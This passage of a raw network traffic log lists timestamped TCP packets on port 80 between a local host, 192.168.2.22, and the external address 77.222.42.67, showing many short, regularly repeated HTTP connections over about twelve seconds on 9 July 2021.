Jul 9, 2021 03:08:04.545658112 CEST	49222	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.546376944 CEST	49222	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.599486113 CEST	80	49222	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.616350889 CEST	80	49222	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.616457939 CEST	49222	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.849092960 CEST	49222	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.850255013 CEST	49223	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.904747009 CEST	80	49223	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.904864073 CEST	49223	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.905431986 CEST	80	49222	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.905585051 CEST	49222	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.905638933 CEST	49223	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.957895041 CEST	80	49223	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.970766068 CEST	80	49223	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.970953941 CEST	49223	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.191097021 CEST	49223	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.192234039 CEST	49224	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.243325949 CEST	80	49223	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.243498087 CEST	49223	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.246545076 CEST	80	49224	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.246639967 CEST	49224	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.247622013 CEST	49224	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.301742077 CEST	80	49224	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.315228939 CEST	80	49224	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.315367937 CEST	49224	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.531351089 CEST	49224	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.532599926 CEST	49225	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.587523937 CEST	80	49224	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.587717056 CEST	49224	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.588334084 CEST	80	49225	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.588448048 CEST	49225	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.589504957 CEST	49225	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.645492077 CEST	80	49225	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.662805080 CEST	80	49225	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.662899971 CEST	49225	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.896547079 CEST	49225	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.902812004 CEST	49226	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.950167894 CEST	80	49225	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.950278044 CEST	49225	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.954914093 CEST	80	49226	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:05.955038071 CEST	49226	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:05.956391096 CEST	49226	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.011962891 CEST	80	49226	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.025240898 CEST	80	49226	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.027328014 CEST	49226	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.251377106 CEST	49226	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.252856016 CEST	49227	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.303571939 CEST	80	49226	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.303726912 CEST	49226	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.304832935 CEST	80	49227	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.304992914 CEST	49227	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.306303024 CEST	49227	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.358519077 CEST	80	49227	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.374591112 CEST	80	49227	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.374716997 CEST	49227	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.596698999 CEST	49227	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.600003958 CEST	49228	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.649530888 CEST	80	49227	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.649585009 CEST	49227	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.653356075 CEST	80	49228	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.653446913 CEST	49228	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.653908968 CEST	49228	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.707962036 CEST	80	49228	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.722950935 CEST	80	49228	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:06.723155022 CEST	49228	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.953005075 CEST	49228	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:06.954356909 CEST	49229	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.007708073 CEST	80	49228	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.007858992 CEST	49228	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.008671999 CEST	80	49229	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.008797884 CEST	49229	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.010056019 CEST	49229	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.064488888 CEST	80	49229	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.077636003 CEST	80	49229	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.077842951 CEST	49229	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.294856071 CEST	49229	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.296159029 CEST	49230	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.348489046 CEST	80	49230	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.348516941 CEST	80	49229	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.348598003 CEST	49230	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.348603010 CEST	49229	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.349283934 CEST	49230	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.403593063 CEST	80	49230	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.418070078 CEST	80	49230	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.419403076 CEST	49230	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.642322063 CEST	49230	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.643402100 CEST	49231	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.694878101 CEST	80	49230	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.695278883 CEST	49230	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.696721077 CEST	80	49231	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.696973085 CEST	49231	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.698235035 CEST	49231	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:07.753760099 CEST	80	49231	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.767000914 CEST	80	49231	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:07.768028975 CEST	49231	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.001718998 CEST	49231	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.002974033 CEST	49232	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.056494951 CEST	80	49231	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.056524038 CEST	80	49232	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.056575060 CEST	49231	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.056617975 CEST	49232	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.057290077 CEST	49232	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.109682083 CEST	80	49232	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.123681068 CEST	80	49232	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.123769999 CEST	49232	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.341772079 CEST	49232	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.343303919 CEST	49233	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.395319939 CEST	80	49232	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.395447969 CEST	49232	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.395968914 CEST	80	49233	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.396045923 CEST	49233	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.396713018 CEST	49233	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.450268984 CEST	80	49233	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.464003086 CEST	80	49233	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.464129925 CEST	49233	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.692985058 CEST	49233	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.694243908 CEST	49234	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.745269060 CEST	80	49233	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.745342970 CEST	49233	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.747670889 CEST	80	49234	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.747750044 CEST	49234	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.748478889 CEST	49234	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:08.805269957 CEST	80	49234	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.820357084 CEST	80	49234	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:08.820513010 CEST	49234	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.048237085 CEST	49234	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.050175905 CEST	49235	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.104203939 CEST	80	49234	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.104243040 CEST	80	49235	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.105751038 CEST	49235	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.105770111 CEST	49234	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.105807066 CEST	49235	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.160618067 CEST	80	49235	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.173655033 CEST	80	49235	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.173729897 CEST	49235	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.402708054 CEST	49235	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.404169083 CEST	49236	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.454909086 CEST	80	49235	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.455070972 CEST	49235	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.457345963 CEST	80	49236	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.457468033 CEST	49236	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.458430052 CEST	49236	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.512917042 CEST	80	49236	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.527733088 CEST	80	49236	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.527834892 CEST	49236	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.745215893 CEST	49236	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.747256994 CEST	49237	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.800622940 CEST	80	49236	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.800707102 CEST	49236	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.802479029 CEST	80	49237	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.802586079 CEST	49237	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.803426027 CEST	49237	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:09.858558893 CEST	80	49237	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.871731997 CEST	80	49237	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:09.871999979 CEST	49237	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.088774920 CEST	49237	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.090116024 CEST	49238	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.143399000 CEST	80	49237	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.143522024 CEST	49237	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.143815041 CEST	80	49238	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.144016027 CEST	49238	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.145229101 CEST	49238	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.200738907 CEST	80	49238	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.214044094 CEST	80	49238	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.214258909 CEST	49238	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.433058023 CEST	49238	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.433979034 CEST	49239	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.487329006 CEST	80	49238	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.487416983 CEST	49238	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.489526033 CEST	80	49239	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.489670038 CEST	49239	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.490418911 CEST	49239	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.546745062 CEST	80	49239	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.561532974 CEST	80	49239	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.561706066 CEST	49239	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.804656029 CEST	49239	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.805624962 CEST	49240	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.857878923 CEST	80	49240	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.857999086 CEST	49240	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.858148098 CEST	80	49239	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.858206987 CEST	49239	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.858552933 CEST	49240	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:10.910593987 CEST	80	49240	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.927478075 CEST	80	49240	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:10.927602053 CEST	49240	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.154834986 CEST	49240	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.155800104 CEST	49241	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.207015038 CEST	80	49240	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.207086086 CEST	49240	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.208100080 CEST	80	49241	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.208173990 CEST	49241	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.208978891 CEST	49241	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.260907888 CEST	80	49241	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.273643970 CEST	80	49241	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.273766994 CEST	49241	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.493964911 CEST	49241	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.494988918 CEST	49242	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.548753977 CEST	80	49241	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.548865080 CEST	49241	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.550627947 CEST	80	49242	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.550728083 CEST	49242	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.551534891 CEST	49242	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.604903936 CEST	80	49242	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.619101048 CEST	80	49242	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.619451046 CEST	49242	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.837964058 CEST	49242	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.838888884 CEST	49243	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.892999887 CEST	80	49242	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.893111944 CEST	49242	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.893659115 CEST	80	49243	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.893738985 CEST	49243	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.894423962 CEST	49243	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:11.947675943 CEST	80	49243	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.960788012 CEST	80	49243	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:11.960872889 CEST	49243	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.178409100 CEST	49243	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.179568052 CEST	49244	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.232275963 CEST	80	49244	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.232376099 CEST	49244	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.232633114 CEST	80	49243	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.232693911 CEST	49243	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.233371019 CEST	49244	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.285460949 CEST	80	49244	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.298418999 CEST	80	49244	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.298567057 CEST	49244	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.527302980 CEST	49244	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.528321981 CEST	49245	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.581741095 CEST	80	49244	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.581934929 CEST	49244	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.582595110 CEST	80	49245	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.582756996 CEST	49245	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.584036112 CEST	49245	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.638220072 CEST	80	49245	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.651797056 CEST	80	49245	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.651973009 CEST	49245	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.878329039 CEST	49245	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.879283905 CEST	49246	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.930754900 CEST	80	49245	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.930916071 CEST	49245	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.932674885 CEST	80	49246	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.932768106 CEST	49246	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.933389902 CEST	49246	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:12.986898899 CEST	80	49246	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.999862909 CEST	80	49246	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:12.999984026 CEST	49246	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.222285986 CEST	49246	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.223424911 CEST	49247	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.275691986 CEST	80	49246	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.275820971 CEST	49246	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.277343988 CEST	80	49247	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.277414083 CEST	49247	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.278381109 CEST	49247	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.332559109 CEST	80	49247	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.345455885 CEST	80	49247	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.345612049 CEST	49247	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.587474108 CEST	49247	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.588407040 CEST	49248	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.639842033 CEST	80	49247	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.639980078 CEST	49247	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.641979933 CEST	80	49248	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.642055988 CEST	49248	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.642663956 CEST	49248	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.695941925 CEST	80	49248	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.709795952 CEST	80	49248	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.709896088 CEST	49248	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.935234070 CEST	49248	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.936657906 CEST	49249	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.990212917 CEST	80	49248	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.990309000 CEST	49248	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.991229057 CEST	80	49249	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:13.991342068 CEST	49249	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:13.992625952 CEST	49249	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.045938969 CEST	80	49249	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.062663078 CEST	80	49249	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.062802076 CEST	49249	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.283451080 CEST	49249	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.284660101 CEST	49250	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.336752892 CEST	80	49250	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.336783886 CEST	80	49249	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.336966991 CEST	49250	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.337059975 CEST	49249	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.338475943 CEST	49250	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.392373085 CEST	80	49250	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.405278921 CEST	80	49250	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.405512094 CEST	49250	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.631638050 CEST	49250	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.633333921 CEST	49251	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.686810017 CEST	80	49251	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.686932087 CEST	49251	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.687108040 CEST	80	49250	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.687216043 CEST	49250	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.687556982 CEST	49251	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.740384102 CEST	80	49251	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.756145954 CEST	80	49251	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:14.756318092 CEST	49251	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.983048916 CEST	49251	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:14.998547077 CEST	49252	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.035321951 CEST	80	49251	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.035432100 CEST	49251	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.051847935 CEST	80	49252	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.052018881 CEST	49252	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.052958012 CEST	49252	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.106232882 CEST	80	49252	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.119353056 CEST	80	49252	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.119491100 CEST	49252	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.341877937 CEST	49252	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.342895031 CEST	49253	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.395529032 CEST	80	49252	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.396265030 CEST	80	49253	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.397325039 CEST	49252	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.397492886 CEST	49253	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.398942947 CEST	49253	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.452459097 CEST	80	49253	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.466437101 CEST	80	49253	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.466581106 CEST	49253	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.812383890 CEST	49253	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.813518047 CEST	49254	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.865582943 CEST	80	49254	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.865603924 CEST	80	49253	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.865680933 CEST	49253	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.865683079 CEST	49254	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.866475105 CEST	49254	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:15.918509960 CEST	80	49254	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.931550980 CEST	80	49254	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:15.931605101 CEST	49254	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.167998075 CEST	49255	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.167999029 CEST	49254	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.220999956 CEST	80	49254	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:16.221160889 CEST	49254	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.221864939 CEST	80	49255	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:16.221975088 CEST	49255	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.403978109 CEST	49255	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.457442999 CEST	80	49255	77.222.42.67	192.168.2.22
